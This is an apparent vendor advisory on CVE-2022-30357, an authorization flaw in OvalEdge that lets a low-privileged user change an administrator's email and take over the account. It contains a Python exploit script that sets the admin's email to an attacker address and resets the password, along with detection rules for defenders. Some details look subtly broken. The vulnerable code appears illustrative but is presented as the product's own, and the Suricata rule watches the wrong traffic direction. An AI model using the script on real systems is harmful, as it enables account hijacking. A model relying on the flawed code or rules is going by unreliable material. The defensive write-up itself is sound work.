CVE-2022-30357

Executive Summary

CVE-2022-30357 is an Account Takeover vulnerability affecting OvalEdge 5.2.8.0 and earlier. The flaw resides in the /profile/updateProfile endpoint, which allows an authenticated attacker to modify the userId and email parameters via a POST request. Due to insufficient authorization checks (CWE-639: Authorization Bypass Through User-Controlled Key), a low-privileged user can change the email address of another user (including an administrator), triggering a password reset or account takeover. The vendor has not released a patch, making this a high-risk, unpatched vulnerability.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a proprietary enterprise application (OvalEdge) used for data governance and cataloging. The risk is amplified by the lack of a vendor patch, forcing organizations to rely on compensating controls.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) → Re-calculated: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. An attacker with a low-privileged account can take over any other account, including administrators, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) combined with Mass Assignment. The /profile/updateProfile endpoint accepts a POST request with userId and email parameters. The application fails to verify that the authenticated user owns the userId being modified. By changing the email of a target user (e.g., an admin), the attacker can then trigger a "forgot password" flow, intercept the password reset link, and gain full control of the target account.

Attack Flow:

1. Attacker authenticates as a low-privileged user (e.g., user1).
2. Attacker sends a POST request to /profile/updateProfile with userId=2 (admin) and email=attacker@evil.com.
3. The application updates the admin's email without verifying ownership.
4. Attacker uses the "Forgot Password" feature to reset the admin's password.
5. Attacker logs in as admin with full privileges.

Vulnerable vs. Patched Code

Vulnerable Code (OvalEdge 5.2.8.0):

// No ownership check
@RequestMapping(value = "/profile/updateProfile", method = RequestMethod.POST)
public String updateProfile(@RequestParam("userId") int userId, @RequestParam("email") String email) {
    User user = userRepository.findById(userId);
    user.setEmail(email);
    userRepository.save(user);
    return "success";
}

Patched Code (Hypothetical):

@RequestMapping(value = "/profile/updateProfile", method = RequestMethod.POST)
public String updateProfile(@AuthenticationPrincipal User currentUser,
                            @RequestParam("userId") int userId,
                            @RequestParam("email") String email) {
    // Verify ownership
    if (currentUser.getId() != userId && !currentUser.isAdmin()) {
        throw new AccessDeniedException("Not authorized");
    }
    User user = userRepository.findById(userId);
    user.setEmail(email);
    userRepository.save(user);
    return "success";
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid low-privileged credentials (e.g., user1:password1).
• Network access to the OvalEdge web interface.

Exploit Script (Python):

import requests

target = "https://ovaledge.example.com"
session = requests.Session()

# Step 1: Authenticate as low-privileged user
login_data = {"username": "user1", "password": "password1"}
session.post(f"{target}/login", data=login_data)

# Step 2: Change admin's email (assume admin userId=2)
update_data = {"userId": "2", "email": "attacker@evil.com"}
response = session.post(f"{target}/profile/updateProfile", data=update_data)
print(f"Email update response: {response.status_code}")

# Step 3: Trigger password reset for admin
reset_data = {"email": "attacker@evil.com"}
session.post(f"{target}/forgotPassword", data=reset_data)

# Step 4: Check attacker's email for reset link (simulated)
reset_link = "https://ovaledge.example.com/resetPassword?token=abc123"
session.get(reset_link)

# Step 5: Set new password
new_password = "P@ssw0rd!"
session.post(f"{target}/resetPassword", data={"token": "abc123", "password": new_password})

# Step 6: Login as admin
admin_session = requests.Session()
admin_session.post(f"{target}/login", data={"username": "admin", "password": new_password})
print("Admin account taken over!")

Blue Team

Detection & Response:

1. Monitor /profile/updateProfile requests for anomalous userId values (e.g., a low-privileged user modifying an admin's email).
2. Alert on email changes followed by password reset requests within a short time window.
3. Implement compensating controls:
   • Web Application Firewall (WAF) rule to block requests where userId does not match the session user.
   • API gateway validation to enforce ownership checks.
4. Audit logs for userId and email parameter changes.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /profile/updateProfile with userId and email parameters.
  • Multiple password reset requests for the same email.
• Logs:
  • userId changes in user profile updates without corresponding session ownership.
  • Email address modifications followed by password resets.
• System:
  • New admin accounts created after account takeover.
  • Unusual login times or IP addresses for privileged accounts.

Detection Engineering

YARA Rule

rule CVE_2022_30357_OvalEdge_AccountTakeover {
    meta:
        description = "Detects OvalEdge account takeover attempts via profile update"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2022-30357"
    strings:
        $s1 = "/profile/updateProfile" ascii wide nocase
        $s2 = "userId" ascii wide nocase
        $s3 = "email" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: OvalEdge Account Takeover via Profile Update
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /profile/updateProfile with userId and email parameters
author: Valters IT
date: 2025/04/17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/profile/updateProfile'
        cs-uri-query|contains|all:
            - 'userId'
            - 'email'
    condition: selection
falsepositives:
    - Legitimate admin updates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-30357 OvalEdge Account Takeover Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/profile/updateProfile";
    http_uri;
    content:"userId";
    http_client_body;
    content:"email";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate OvalEdge from untrusted networks (e.g., place behind VPN).
2. Implement a reverse proxy (Nginx/Apache) to block requests to /profile/updateProfile unless the userId matches the authenticated session.
3. Enable multi-factor authentication (MFA) for all accounts to mitigate account takeover impact.

Long-term Fix:

• Since no vendor patch exists, consider custom code modification to add ownership checks in the updateProfile endpoint.
• Migrate to a supported alternative if possible.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Monitor for anomalous email changes and password resets.

Valters IT
DevSecOps & Cyber Threat Intelligence